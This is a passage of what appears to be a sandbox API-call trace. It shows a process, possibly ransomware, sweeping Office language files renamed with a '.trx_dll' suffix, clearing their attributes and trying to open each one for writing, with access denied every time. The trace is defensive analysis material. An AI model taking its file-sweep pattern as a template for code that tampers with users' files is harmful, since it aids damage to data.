(lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940660) returned 1 Thread: id = 3696 os_tid = 0xdbc [0154.891] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll")) returned 0x2020 [0154.892] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.892] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.892] GetLastError () returned 0x5 [0154.892] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.892] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aec48) returned 1 Thread: id = 3697 os_tid = 0xdc8 [0154.893] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll")) returned 0x2020 [0154.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.893] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.893] GetLastError () returned 0x5 [0154.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.894] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940fe0) returned 1 Thread: id = 3698 os_tid = 0xdcc [0154.894] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll")) returned 0x2020 [0154.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.895] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.895] GetLastError () returned 0x5 [0154.895] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.895] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aea68) returned 1 Thread: id = 3699 os_tid = 0xdd0 [0154.896] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll")) returned 0x2020 [0154.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.896] GetLastError () returned 0x5 [0154.896] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.896] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941078) returned 1 Thread: id = 3700 os_tid = 0xdd4 [0154.897] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll")) returned 0x2020 [0154.897] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.898] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.898] GetLastError () returned 0x5 [0154.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.898] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940c50) returned 1 Thread: id = 3701 os_tid = 0xdd8 [0154.914] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll")) returned 0x2020 [0154.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.914] GetLastError () returned 0x5 [0154.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.914] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940a88) returned 1 Thread: id = 3702 os_tid = 0xddc [0154.923] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll")) returned 0x2020 [0154.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.924] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.924] GetLastError () returned 0x5 [0154.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.924] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9add48) returned 1 Thread: id = 3703 os_tid = 0xde0 [0154.925] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll")) returned 0x2020 [0154.925] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.925] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.925] GetLastError () returned 0x5 [0154.925] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad168) returned 1 Thread: id = 3704 os_tid = 0xde4 [0154.926] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll")) returned 0x2020 [0154.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.927] GetLastError () returned 0x5 [0154.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.927] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9409f0) returned 1 Thread: id = 3705 os_tid = 0xde8 [0154.928] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll")) returned 0x2020 [0154.928] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.928] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.928] GetLastError () returned 0x5 [0154.928] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.928] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940958) returned 1 Thread: id = 3706 os_tid = 0xdec [0154.929] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll")) returned 0x2020 [0154.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.929] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.930] GetLastError () returned 0x5 [0154.930] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.930] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ff40) returned 1 Thread: id = 3707 os_tid = 0xdf0 [0154.931] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll")) returned 0x2020 [0154.931] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.931] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.931] GetLastError () returned 0x5 [0154.931] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.931] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adde8) returned 1 Thread: id = 3708 os_tid = 0xdf4 [0154.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll")) returned 0x2020 [0154.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.932] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.932] GetLastError () returned 0x5 [0154.933] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.933] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad988) returned 1 Thread: id = 3709 os_tid = 0xdf8 [0154.933] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll")) returned 0x2020 [0154.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.936] GetLastError () returned 0x5 [0154.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.936] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad348) returned 1 Thread: id = 3710 os_tid = 0xdfc [0154.943] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll")) returned 0x2020 [0154.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.943] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.943] GetLastError () returned 0x5 [0154.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.943] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ffd8) returned 1 Thread: id = 3711 os_tid = 0xe00 [0154.961] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll")) returned 0x2020 [0154.961] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.962] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.962] GetLastError () returned 0x5 [0154.962] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.962] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940070) returned 1 Thread: id = 3712 os_tid = 0xe04 [0154.963] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll")) returned 0x2020 [0154.963] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.963] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.963] GetLastError () returned 0x5 [0154.963] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.963] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 3713 os_tid = 0xe08 [0154.964] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll")) returned 0x2020 [0154.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.965] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.965] GetLastError () returned 0x5 [0154.965] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940108) returned 1 Thread: id = 3714 os_tid = 0xe10 [0154.967] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll")) returned 0x2020 [0154.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.967] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.967] GetLastError () returned 0x5 [0154.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.967] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9401a0) returned 1 Thread: id = 3715 os_tid = 0xe18 [0154.969] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll")) returned 0x2020 [0154.969] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.969] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.969] GetLastError () returned 0x5 [0154.969] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940238) returned 1 Thread: id = 3716 os_tid = 0xe1c [0154.970] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll")) returned 0x2020 [0154.970] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0154.970] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.971] GetLastError () returned 0x5 [0154.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adac8) returned 1 Thread: id = 3717 os_tid = 0xe20 [0154.971] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll")) returned 0x2020 [0154.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 0 [0154.972] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.972] GetLastError () returned 0x5 [0154.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll", dwFileAttributes=0x2020) returned 0 [0154.972] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeba8) returned 1 Thread: id = 3718 os_tid = 0xe24 [0155.227] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll")) returned 0x2020 [0155.227] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll", dwFileAttributes=0x20) returned 0 [0155.227] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0155.228] GetLastError () returned 0x5 [0155.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll", dwFileAttributes=0x2020) returned 0 [0155.228] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad2a8) returned 1 Thread: id = 3719 